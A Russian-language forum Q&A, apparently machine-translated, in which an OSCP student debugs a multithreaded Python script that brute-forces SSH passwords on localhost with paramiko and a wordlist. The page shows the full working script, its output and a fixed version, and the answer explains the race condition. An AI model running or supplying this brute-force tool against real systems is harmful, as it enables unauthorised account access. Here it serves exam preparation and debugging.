Потоки Python закрываются - PullRequest
       6

Потоки Python закрываются

0 голосов
/ 20 октября 2018

Итак, у меня есть многопоточный Python 3.7 сценарий для проекта, который пытается перебрать форсированный порт 22 на моей локальной машине (подготовка к экзамену OSCP).

Этот сценарий использует атаку по словарю дляbrute force the port.

Проблема, с которой я столкнулся, заключается в том, что скрипт распечатывает каждую попытку как успешную, так и неудачную.В конце он должен остановиться, и последние значения или набор значений добавляются в список found.

На самом деле происходит то, что печатается правильный пароль, а затем другой из ошибочных паролей после него.Какой из них зависит от того, сколько работает потоков.

Я предполагаю, что это связано с тем, как я обращаюсь с потоками, но я не могу понять, что я делаю неправильно.

import paramiko
import threading
from queue import Queue

TARGET_IP = 'localhost'
USERNAME = 'targetuser'
WORDLIST = 'test2.txt'
MAX_THREADS = 20
found = []
q = Queue()


def ssh_connect(target_ip, username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)

    try:
        ssh.connect(target_ip, username=username, password=password)
        found.append(password)
        q.put(password)
    except paramiko.ssh_exception.AuthenticationException:
        print("[*] Failed: ", password)
        return False
    finally:
        ssh.close()

    return True


def main():
    with open(WORDLIST) as input_handle:
        threads = []
        thread_count = 0
        for line in input_handle:
            try:
                password = line.rstrip()
                t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
                threads.append(t)
                t.start()
                thread_count += 1

                if not q.empty():
                    break
                if thread_count >= MAX_THREADS:
                    for t in threads:
                        t.join()
                    thread_count = 0

            except KeyboardInterrupt:
                break

        if not q.empty() and len(found) > 0:
            for c in found:
                print("[!] Found: ", c)
        else:
            print("[*] Pass not found")


if __name__ == '__main__':
    main()

Вывод:

python3 ssh_brute.py 
[*] Failed:  josa10
[*] Failed:  josa0823
[*] Failed:  josa123
[*] Failed:  josa070601
[*] Failed:  josa004
[*] Failed:  josa13
[*] Failed:  josa0119
[*] Failed:  josa-jones
[*] Failed:  josa0131
[*] Failed:  josa12
[*] Failed:  josa08
[*] Failed:  josa16
[*] Failed:  josa122387
[*] Failed:  josa04
[*] Failed:  josa-young
[*] Failed:  josa02
[*] Failed:  josa-a
[*] Failed:  josa143
[*] Failed:  josa15
[!] Found:  super_secret_password
[*] Failed:  josa1856

Исправленный код, основанный на ответе ниже:

def main():
    with open(WORDLIST) as input_handle:
        threads = []
        thread_count = 0
        for line in input_handle:
            try:
                password = line.rstrip()
                t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
                threads.append(t)
                t.start()
                thread_count += 1

                if not q.empty():
                    break
                if thread_count >= MAX_THREADS:
                    for t in threads:
                        t.join()
                    threads = []
                    thread_count = 0
            except KeyboardInterrupt:
                break

        for t in threads:
            t.join()

        # if not q.empty() and len(found) > 0:
        if len(found) > 0:
            for c in found:
                print("[!] Found: ", c)
        else:
            print("[*] Pass not found")

1 Ответ

0 голосов
/ 20 октября 2018

Здесь есть несколько проблем:

1) Код проверяет, является ли q пустым сразу после запуска потока.Дело в том, что нет способа узнать, когда поток запустится, и если он введет соответствующий пароль в q до того, как вы приступите к этой проверке - на самом деле, есть большая вероятность, что он этого не сделает.

2) Цикл MAX_THREADS, вероятно, должен фактически очищать массив.threads = []

3) Добавьте еще один цикл, чтобы присоединить запущенные потоки вне цикла for.Это обеспечит завершение всех потоков до того, как код проверит результат.(РЕДАКТИРОВАТЬ :) При этом все ваши сообщения об ошибках будут напечатаны до того, как сообщение об успехе будет напечатано

Имейте в виду, что запуск потока - это (в большинстве языков) способ запуска функции одновременно с текущей выполняющейся функцией, запускающей поток.Так что время может стать очень прикольным.То, что вы видите, обычно рассматривается как «состояние гонки».Большинство вы можете исправить.Другие ... хорошо ...

...